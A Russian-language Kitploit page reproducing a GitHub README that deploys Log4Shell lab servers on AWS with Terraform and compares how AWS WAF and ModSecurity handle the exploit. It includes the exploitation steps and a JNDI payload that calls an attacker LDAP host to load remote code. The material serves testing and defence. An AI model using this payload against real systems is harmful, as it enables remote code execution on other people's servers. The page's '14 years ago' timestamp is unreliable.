Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
tf-log4j-aws-poc — Файлы этого проекта демонстрируют proof-of-concept уязвимости log4j (CVE-2021-44228) в AWS с использованием Terraform в качестве средства инфраструктуры как кода. | Kitploit
Инструменты/GitHubGitHub/moshuum/tf-log4j-aws-poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеБезопасность облачных сред
GitHubmoshuum/tf-log4j-aws-poc

tf-log4j-aws-poc

Файлы этого проекта демонстрируют proof-of-concept уязвимости log4j (CVE-2021-44228) в AWS с использованием Terraform в качестве средства инфраструктуры как кода.

Репозиторий
14 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Readme

Описание проекта

Файлы этого проекта демонстрируют proof-of-concept уязвимости log4j (CVE-2021-44228) на AWS с использованием Terraform как средства Infrastructure-as-a-Code.

В этом проекте 2 демо:

  1. single-instance содержит уязвимый сервер; вы можете использовать свой персональный компьютер для эксплуатации сервера; сервер должен быть защищён с помощью AWS WAF.
  2. double-instance содержит 2 сервиса; уязвимый сервер доступен только с сервера обратного прокси; обратный прокси должен быть защищён с помощью ModSecurity.

Вывод: Первое демо демонстрирует успешную эксплуатацию с использованием AWS WAF. Второе демо было неудачной попыткой при включённом ModSecurity. При удалении ModSecurity эксплуатация становится успешной. Возможно, это связано с тем, что ModSecurity — активный проект, поэтому уязвимые строки были идентифицированы и отфильтрованы.

Благодарности

Этот PoC взят из: https://github.com/kozmer/log4j-shell-poc

В этом блоге на Medium объясняется, как проходил разбор её попытки: https://chennylmf.medium.com/apache-log4j-shell-poc-exploits-5953c42fa873

Моё тестирование

Лично я тестировал с Windows + Powershell, облачная машина — Ubuntu 18 LTS. (Эксплуатация с kali или любого linux)

Предварительные требования

  1. Установленный AWS_CLI
  2. Установленный Terraform CLI
  3. Готовый Access key

RSA-ключ

Создайте через веб-интерфейс (назовите его 'tf-aws'): https://console.aws.amazon.com/ec2/v2/home?#KeyPairs

Получить Access key

https://us-east-1.console.aws.amazon.com/iamv2/home#/users > Выберите пользователя > Выберите раздел security_credentials

Установить Access key в shell

Powershell:
$env:AWS_ACCESS_KEY_ID="<user access key input>"
$env:AWS_SECRET_ACCESS_KEY="<secret key input>"
$env:AWS_DEFAULT_REGION="<region>"

Linux:
export AWS_ACCESS_KEY_ID="<user access key input>"
export AWS_SECRET_ACCESS_KEY="<secret key input>
export AWS_DEFAULT_REGION="<region>"

Использование

Настройка EC2 на платформе AWS

cd single-instance
terraform init
terraform apply

После выполнения будет указан IP / DNS.

Для single-instance убедитесь, что http:<aws host url>:8080 доступен.

Для double-instance убедитесь, что http:<aws host url> доступен.

* обратите внимание, что запуск 'double-instance' занимает намного больше времени; после ssh в систему можно использовать journalctl -f для отслеживания прогресса.

Если вы следите за журналом, «Reached target Cloud-init target.» означает готовое состояние.
exploit

Подготовка удалённого / локального клиента (атакующего):

Установите право на выполнение chmod +x ../exploit-script-remote.sh

Запустите скрипт с указанной переменной
../exploit-script-remote.sh

Обратите внимание: полезная нагрузка отображается в конце скрипта примерно так: ${jndi:ldap://<ip-address>:1389/a}

Уязвимый сервер:

Перейдите на http:<aws host url>:8080

Скопируйте полезную нагрузку в поле «имя пользователя» и отправьте форму.

exploit

Примечание

JDK-файл: подтверждено, что хэш из источника Baidu совпадает с хэшем Oracle
SHA256 187EDA2235F812DDB35C352B5F9AA6C5B184D611C2C9D0393AFB8031D8198974

Ссылки

Инстанс: https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/instance

Spot instance: https://www.tderflinger.com/en/ec2-spot-with-terraform

SSH: https://jhooq.com/terraform-ssh-into-aws-ec2/ https://docs.aws.amazon.com/cli/latest/userguide/cli-services-ec2-keypairs.html

[ssh-ключ на лету] https://stackoverflow.com/questions/49743220/how-do-i-create-an-ssh-key-in-terraform

WAF: https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/waf_rule https://medium.com/kudos-engineering/terraforming-amazons-web-application-firewall-e5c22b7d317d https://www.linode.com/docs/guides/securing-nginx-with-modsecurity/

Шаблонизация: https://spacelift.io/blog/terraform-templates

AWS AZ ID: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-regions-availability-zones.html#concepts-availability-zones

Что я узнал

  • (потрачено много времени) не используйте provision как bash-скрипт / вместо этого используйте шаблон (можно лучше понять, можно ли понизить привилегии)
  • RSA-ключ, созданный через веб-интерфейс, надёжнее, чем созданный вручную через aws-cli, при использовании .pem (совместимость .pem-файла с SSH-клиентом или сервером AWS); в противном случае используйте обычный rsa-ключ без pem.
  • удалось использовать spot instance вместо обычного для некоторой экономии средств
  • Docker, публикующий порт, может переопределять правила брандмауэра
  • (потрачено много времени) Настройка и устранение неполадок сети занимают много времени — Route, vpc требуют одну security group, а хост ec2 — другую, и обе security group должны указывать на vpc
  • wget не может выполнять длительные сеансы загрузки

# Учёт времени

  • Начало 06 июня 11:00 UTC+0800 - 07 июня 4:00 (завершены poc+tf+aws-waf) - 17 часов
  • Начало 07 июня 13:00 UTC+0800 - 08 июня 5:00 (завершён 2-й случай, где используется обратный прокси)
Скачать инструмент